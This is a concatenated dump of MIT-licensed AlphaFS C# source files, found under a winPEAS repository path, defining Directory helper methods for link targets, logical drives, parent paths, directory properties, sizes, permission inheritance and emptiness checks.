winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetLinkTargetInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// /// /// /// /// /// /// The path to the reparse point. [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfo(string path) { return File.GetLinkTargetInfoCore(null, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// /// /// /// /// /// /// The path to the reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfo(string path, PathFormat pathFormat) { return File.GetLinkTargetInfoCore(null, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetLinkTargetInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// /// /// /// /// /// /// The transaction. /// The path to the reparse point. [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path) { return File.GetLinkTargetInfoCore(transaction, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// /// /// /// /// /// /// The transaction. /// The path to the reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetLinkTargetInfoCore(transaction, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetLogicalDrives.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Retrieves the names of the logical drives on the Computer in the form "<drive letter>:\". /// An array of type that represents the logical drives on the Computer. [SecurityCritical] public static string[] GetLogicalDrives() { return EnumerateLogicalDrivesCore(false, false).Select(drive => drive.Name).ToArray(); } #endregion // .NET /// [AlphaFS] Retrieves the names of the logical drives on the Computer in the form "C:\". /// An array of type that represents the logical drives on the Computer. /// Retrieve logical drives as known by the Environment. /// Retrieve only when accessible (IsReady) logical drives. [SecurityCritical] public static string[] GetLogicalDrives(bool fromEnvironment, bool isReady) { return EnumerateLogicalDrivesCore(fromEnvironment, isReady).Select(drive => drive.Name).ToArray(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetParent.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Retrieves the parent directory of the specified path, including both absolute and relative paths. /// The path for which to retrieve the parent directory. /// The parent directory, or null if is the root directory, including the root of a UNC server or share name. [SecurityCritical] public static DirectoryInfo GetParent(string path) { return GetParentCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the parent directory of the specified path, including both absolute and relative paths. /// The parent directory, or null if is the root directory, including the root of a UNC server or share name. /// The path for which to retrieve the parent directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DirectoryInfo GetParent(string path, PathFormat pathFormat) { return GetParentCore(null, path, pathFormat); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetParentTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves the parent directory of the specified path, including both absolute and relative paths. /// The parent directory, or null if is the root directory, including the root of a UNC server or share name. /// The transaction. /// The path for which to retrieve the parent directory. [SecurityCritical] public static DirectoryInfo GetParentTransacted(KernelTransaction transaction, string path) { return GetParentCore(transaction, path, PathFormat.RelativePath); } /// Retrieves the parent directory of the specified path, including both absolute and relative paths. /// The parent directory, or null if is the root directory, including the root of a UNC server or share name. /// The transaction. /// The path for which to retrieve the parent directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DirectoryInfo GetParentTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetParentCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetProperties.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The target directory. [SecurityCritical] public static Dictionary GetProperties(string path) { return GetPropertiesCore(null, path, null, PathFormat.RelativePath); } /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The target directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static Dictionary GetProperties(string path, PathFormat pathFormat) { return GetPropertiesCore(null, path, null, pathFormat); } /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The target directory. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static Dictionary GetProperties(string path, DirectoryEnumerationOptions options) { return GetPropertiesCore(null, path, options, PathFormat.RelativePath); } /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The target directory. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static Dictionary GetProperties(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return GetPropertiesCore(null, path, options, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetPropertiesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The transaction. /// The target directory. [SecurityCritical] public static Dictionary GetPropertiesTransacted(KernelTransaction transaction, string path) { return GetPropertiesCore(transaction, path, null, PathFormat.RelativePath); } /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The transaction. /// The target directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static Dictionary GetPropertiesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetPropertiesCore(transaction, path, null, pathFormat); } /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The transaction. /// The target directory. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static Dictionary GetPropertiesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { return GetPropertiesCore(transaction, path, options, PathFormat.RelativePath); } /// [AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The transaction. /// The target directory. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static Dictionary GetPropertiesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return GetPropertiesCore(transaction, path, options, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetSize.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The path to the directory. [SecurityCritical] public static long GetSize(string path) { return GetSizeCore(null, path, false, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSize(string path, PathFormat pathFormat) { return GetSizeCore(null, path, false, false, pathFormat); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. [SecurityCritical] public static long GetSize(string path, bool sizeOfAllStreams) { return GetSizeCore(null, path, sizeOfAllStreams, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSize(string path, bool sizeOfAllStreams, PathFormat pathFormat) { return GetSizeCore(null, path, sizeOfAllStreams, false, pathFormat); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// true to include subdirectories. [SecurityCritical] public static long GetSize(string path, bool sizeOfAllStreams, bool recursive) { return GetSizeCore(null, path, sizeOfAllStreams, recursive, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// true to include subdirectories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSize(string path, bool sizeOfAllStreams, bool recursive, PathFormat pathFormat) { return GetSizeCore(null, path, sizeOfAllStreams, recursive, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetSizeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path) { return GetSizeCore(transaction, path, false, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetSizeCore(transaction, path, false, false, pathFormat); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams) { return GetSizeCore(transaction, path, sizeOfAllStreams, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, PathFormat pathFormat) { return GetSizeCore(transaction, path, sizeOfAllStreams, false, pathFormat); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// true to include subdirectories. [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, bool recursive) { return GetSizeCore(transaction, path, sizeOfAllStreams, recursive, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// true to include subdirectories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, bool recursive, PathFormat pathFormat) { return GetSizeCore(transaction, path, sizeOfAllStreams, recursive, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.HasInheritedPermissions.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Checks if the directory has permission inheritance enabled. /// The full path to the directory to check. /// true if permission inheritance is enabled, false if permission inheritance is disabled. public static bool HasInheritedPermissions(string path) { return HasInheritedPermissions(path, PathFormat.RelativePath); } /// [AlphaFS] Checks if the directory has permission inheritance enabled. /// true if permission inheritance is enabled, false if permission inheritance is disabled. /// The full path to the directory to check. /// Indicates the format of the path parameter(s). public static bool HasInheritedPermissions(string path, PathFormat pathFormat) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); var acl = File.GetAccessControlCore(true, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, pathFormat); var rawBytes = acl.GetSecurityDescriptorBinaryForm(); var rsd = new RawSecurityDescriptor(rawBytes, 0); // "Include inheritable permissions from this object's parent" is unchecked. var inheritanceDisabled = (rsd.ControlFlags & ControlFlags.DiscretionaryAclProtected) == ControlFlags.DiscretionaryAclProtected; return !inheritanceDisabled; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.IsEmpty.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories. /// /// Returns true when the directory contains no file system objects. /// Returns false when directory contains at least one file system object. /// /// The path to the directory. [SecurityCritical] public static bool IsEmpty(string directoryPath) { return IsEmptyCore(null, directoryPath, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories. /// /// Returns true when the directory contains no file system objects. /// Returns false when directory contains at least one file system object. /// /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool IsEmpty(string directoryPath, PathFormat pathFormat) { return IsEmptyCore(null, directoryPath, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.IsEmptyTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR 